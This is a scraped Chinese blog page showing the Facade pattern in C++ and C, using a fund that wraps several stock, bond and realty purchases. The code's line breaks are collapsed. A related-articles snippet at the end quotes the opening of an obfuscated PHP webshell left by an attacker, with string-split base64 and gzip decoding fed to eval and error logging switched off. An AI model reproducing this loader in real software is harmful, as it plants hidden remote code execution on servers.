当前位置: 首页 > news >正文

外观模式(大话设计模式)C/C++版本

外观模式

在这里插入图片描述

C++

#include <iostream>
using namespace std;class stock1
{
public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;}
};class stock2
{
public:void Sell(){cout << "股票2卖出" << endl;}void Buy(){cout << "股票2买入" << endl;}
};class stock3
{
public:void Sell(){cout << "股票3卖出" << endl;}void Buy(){cout << "股票3买入" << endl;}
};class NationalDebt1
{
public:void Sell(){cout << "国债1卖出" << endl;}void Buy(){cout << "国债1买入" << endl;}
};class Realty1
{
public:void Sell(){cout << "房地产1卖出" << endl;}void Buy(){cout << "房地产1买入" << endl;}
};class Fund
{
private:stock1* gupiao1;stock2* gupiao2;stock3* gupiao3;NationalDebt1* guozhai;Realty1* fangdichan;public:Fund(){gupiao1 = new stock1();gupiao2 = new stock2();gupiao3 = new stock3();guozhai = new NationalDebt1();fangdichan = new Realty1();}void BuyFund(){gupiao1->Buy();gupiao2->Buy();gupiao3->Buy();guozhai->Buy();fangdichan->Buy();}void SellFund(){gupiao1->Sell();gupiao2->Sell();gupiao3->Sell();guozhai->Sell();fangdichan->Sell();}
};int main()
{Fund *jijin = new Fund();jijin->BuyFund();cout << endl << "Two years later......\n" << endl;jijin->SellFund();return 0;
}

C

#include <stdio.h>
#include <stdlib.h>typedef struct
{void (*Sell)();void (*Buy)();
} Invest;typedef struct
{Invest base;
} Stock;/**********************************************************/
void Stock1_Sell()
{printf("股票1卖出\n");
}void Stock1_Buy()
{printf("股票1买入\n");
}Stock *createStock1()
{Stock *s = (Stock *)malloc(sizeof(Stock));s->base.Sell = Stock1_Sell;s->base.Buy = Stock1_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} Stock2;void Stock2_Sell()
{printf("股票2卖出\n");
}void Stock2_Buy()
{printf("股票2买入\n");
}Stock2 *createStock2()
{Stock2 *s = (Stock2 *)malloc(sizeof(Stock2));s->base.Sell = Stock2_Sell;s->base.Buy = Stock2_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} Stock3;void Stock3_Sell()
{printf("股票3卖出\n");
}void Stock3_Buy()
{printf("股票3买入\n");
}Stock3 *createStock3()
{Stock3 *s = (Stock3 *)malloc(sizeof(Stock3));s->base.Sell = Stock3_Sell;s->base.Buy = Stock3_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} NationalDebt1;void NationalDebt1_Sell()
{printf("国债1卖出\n");
}void NationalDebt1_Buy()
{printf("国债买入\n");
}NationalDebt1 *createNationalDebt1()
{NationalDebt1 *s = (NationalDebt1 *)malloc(sizeof(NationalDebt1));s->base.Sell = NationalDebt1_Sell;s->base.Buy = NationalDebt1_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} Realty1;void Realty1_Sell()
{printf("房地产卖出\n");
}void Realty1_Buy()
{printf("房地产3买入\n");
}Realty1 *createRealty1()
{Realty1 *s = (Realty1 *)malloc(sizeof(Realty1));s->base.Sell = Realty1_Sell;s->base.Buy = Realty1_Buy;return s;
}
/**********************************************************/
typedef struct
{Stock *gupiao1;Stock2 *gupiao2;Stock3 *gupiao3;NationalDebt1 *guozhai;Realty1 *fangdichan;
} Fund;Fund *createFund()
{Fund *fund = (Fund *)malloc(sizeof(Fund));fund->gupiao1 = createStock1();fund->gupiao2 = createStock2();fund->gupiao3 = createStock3();fund->guozhai = createNationalDebt1();fund->fangdichan = createRealty1();return fund;
}void BuyFund(Fund *fund)
{fund->gupiao1->base.Buy();fund->gupiao2->base.Buy();fund->gupiao3->base.Buy();fund->guozhai->base.Buy();fund->fangdichan->base.Buy();
}void SellFund(Fund *fund)
{fund->gupiao1->base.Sell();fund->gupiao2->base.Sell();fund->gupiao3->base.Sell();fund->guozhai->base.Sell();fund->fangdichan->base.Sell();
}int main()
{Fund *jijin = createFund();BuyFund(jijin);printf("\nTwo years later...\n\n");SellFund(jijin);free(jijin->gupiao1);free(jijin->gupiao2);free(jijin->gupiao3);free(jijin->guozhai);free(jijin->fangdichan);free(jijin);return 0;
}

总结

在这里插入图片描述

相关文章:

外观模式(大话设计模式)C/C++版本

外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...

湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析

湖南源点调研认为&#xff1a;无论是创业公司&#xff0c;还是在公司内部探索新的项目或者新的产品线等&#xff0c;首先都要做“市场机会分析与调研“&#xff0c;要真正思考并解答以下疑问&#xff1a; 我们的目标客户群体是谁&#xff0c;他们如何决策&#xff1f; 我们所…...

Vue82-组件内路由守卫

一、组件内路由守卫的定义 在一个组件里面去写路由守卫&#xff0c;而不是在路由配置文件index.js中去写。 此时&#xff0c;该路由守卫是改组件所独有的&#xff01; 只有通过路由规则进入的方式&#xff0c;才会调这两个函数&#xff0c;否则&#xff0c;若是只是用<Ab…...

使用ESP32和Flask框架实现温湿度数据监测系统

项目概述 在这个项目中&#xff0c;我们将使用ESP32微控制器读取温湿度传感器的数据&#xff0c;并将这些数据通过HTTP请求传输到基于Flask框架的服务器。Flask是一个轻量级的Python Web框架&#xff0c;非常适合快速开发和部署Web应用。通过这个项目&#xff0c;我们不仅可以了…...

为什么按照正确的顺序就能开始不断地解决问题,按照不正确的顺序,问题就没有办法能够得到解决呢?

按照正确的顺序解决问题与按照不正确的顺序可能导致问题无法解决&#xff0c;这背后有几个关键原因&#xff1a; 1. **逻辑性**&#xff1a; 正确的顺序通常遵循逻辑性和因果关系&#xff08;因为得按照这个基础的逻辑性才能够是自己顺应规律&#xff0c;太阳没有办法能够从西…...

嵌入式Linux gcc 编译器使用解析

目录 1.说明 2.分步编译法 3.编译源文件的四个阶段 4.gdb调试及常用命令 5.Makefile 1.说明 源文件 main.c 想生成 source gcc –g –O2 main.c –o source 黄色部分便是控制字 -g用于GDB –O2用于优化编译; 绿色部分表示源,可以由多个组成,用空格隔开; gcc …...

4、matlab双目相机标定实验

1、双目相机标定原理及流程 双目相机标定是将双目相机系统的内外参数计算出来&#xff0c;从而实现双目视觉中的立体测量和深度感知。标定的目的是确定各个摄像头的内部参数&#xff08;如焦距、主点、畸变等&#xff09;和外部参数&#xff08;如相机位置、朝向等&#xff09…...

Oracle 数据库表和视图 的操作

1. 命令方式操作数据库&#xff08;采用SQL*Plus&#xff09; 1.1 创建表 1.1.1 基本语法格式 CREATE TABLE[<用户方案名>]<表名> (<列名1> <数据类型> [DEFAULT <默认值>] [<列约束>]<列名2> <数据类型> [DEFAULT <默认…...

美国ARC与延锋安全合作,推动汽车安全气囊技术新突破

在汽车安全领域&#xff0c;安全气囊作为关键被动安全配置&#xff0c;对于保障乘客生命安全至关重要。随着汽车工业的快速发展和科技创新的持续推进&#xff0c;安全气囊技术的升级与革新显得尤为重要。2022年10月25日&#xff0c;美国ARC公司与延锋安全携手合作&#xff0c;共…...

Docker:centos79-docker-compose安装记录

1.安装环境&#xff1a;centos7.9 x86 2.安装最新版&#xff1a; [rootlocalhost ~]# curl -fsSL get.docker.com -o get-docker.sh [rootlocalhost ~]# sh get-docker.sh # Executing docker install script, commit: e5543d473431b782227f8908005543bb4389b8desh -c yum in…...

相交链表(Leetcode)

题目分析&#xff1a; . - 力扣&#xff08;LeetCode&#xff09; 相交链表&#xff1a;首先我想到的第一个思路是&#xff1a;如图可知&#xff0c;A和B链表存在长度差&#xff0c;从左边一起遍历链表不好找交点&#xff0c;那我们就从后面开始找&#xff0c;但是这是单链表&…...

建造者模式(大话设计模式)C/C++版本

建造者模式 C 参考&#xff1a;https://www.cnblogs.com/Galesaur-wcy/p/15907863.html #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std;// Product Class&#xff0c;产品类&#xff0c;由多个…...

【地质灾害监测实现有效预警,44人提前安全转移】

6月13日14时&#xff0c;国信华源地质灾害监测预警系统提前精准预警&#xff0c;安全转移10户44人。 该滑坡隐患点通过科学部署国信华源裂缝计、倾角加速度计、雨量计、预警广播等自动化、智能化监测预警设备&#xff0c;实现了对隐患点裂缝、位移、降雨量等关键要素的实时动态…...

Ruby 数据库访问 - DBI 教程

Ruby 数据库访问 - DBI 教程 本文将详细介绍如何使用 Ruby 的 DBI(Database Interface)库来访问和操作数据库。DBI 是 Ruby 语言中一个常用的数据库接口库,它提供了一套统一的接口来访问不同的数据库系统,如 MySQL、PostgreSQL、SQLite 等。通过本文的学习,您将掌握如何使…...

Linux环境搭建之CentOS7(包含静态IP配置)

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;虚拟机 &#x1f320; 首发时间&#xff1a;2024年6月22日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43e; 安装VMw…...

Dell戴尔灵越Inspiron 16 Plus 7640/7630笔记本电脑原装Windows11下载,恢复出厂开箱状态预装OEM系统

灵越16P-7630系统包: 链接&#xff1a;https://pan.baidu.com/s/1Rve5_PF1VO8kAKnAQwP22g?pwdjyqq 提取码&#xff1a;jyqq 灵越16P-7640系统包: 链接&#xff1a;https://pan.baidu.com/s/1B8LeIEKM8IF1xbpMVjy3qg?pwdy9qj 提取码&#xff1a;y9qj 戴尔原装WIN11系…...

.NET C# 装箱与拆箱

.NET C# 装箱与拆箱 目录 .NET C# 装箱与拆箱1 装箱 (Boxing)1.1 过程&#xff1a;1.2 示例&#xff1a; 2 拆箱 (Unboxing)2.1 过程&#xff1a;2.2 示例&#xff1a; 3 性能影响4 性能优化4.1 使用泛型集合示例&#xff1a; 4.2 使用Nullable<T>示例&#xff1a; 4.3 避…...

springboot与flowable(9):候选人组

act_id_xxx相关表存储了所有用户和组的数据。 一、维护用户信息 Autowiredprivate IdentityService identityService;/*** 维护用户*/Testvoid createUser() {User user identityService.newUser("zhangsan");user.setEmail("zhangsanqq.com");user.setF…...

为什么要选择华为 HCIE-Security 课程?

2020 年我国网络安全市场规模达到 680 亿元&#xff0c;同比增长 25%。随着对网络安全的愈加重视及布局&#xff0c;市场规模将持续扩大。 近年来&#xff0c;随着“云大物工移智”等新兴技术的快速发展和普及应用&#xff0c;数字化已经融入社会经济生活的方方面面&#xff0c…...

网络六边形受到攻击

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 抽象 现代智能交通系统 &#xff08;ITS&#xff09; 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 &#xff08;…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来&#xff0c;Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

工程地质软件市场:发展现状、趋势与策略建议

一、引言 在工程建设领域&#xff0c;准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具&#xff0c;正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

用docker来安装部署freeswitch记录

今天刚才测试一个callcenter的项目&#xff0c;所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...

蓝桥杯 冶炼金属

原题目链接 &#x1f527; 冶炼金属转换率推测题解 &#x1f4dc; 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V&#xff0c;是一个正整数&#xff0c;表示每 V V V 个普通金属 O O O 可以冶炼出 …...

vulnyx Blogger writeup

信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面&#xff0c;gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress&#xff0c;说明目标所使用的cms是wordpress&#xff0c;访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

【C++】纯虚函数类外可以写实现吗?

1. 答案 先说答案&#xff0c;可以。 2.代码测试 .h头文件 #include <iostream> #include <string>// 抽象基类 class AbstractBase { public:AbstractBase() default;virtual ~AbstractBase() default; // 默认析构函数public:virtual int PureVirtualFunct…...

小木的算法日记-多叉树的递归/层序遍历

&#x1f332; 从二叉树到森林&#xff1a;一文彻底搞懂多叉树遍历的艺术 &#x1f680; 引言 你好&#xff0c;未来的算法大神&#xff01; 在数据结构的世界里&#xff0c;“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的&#xff0c;它…...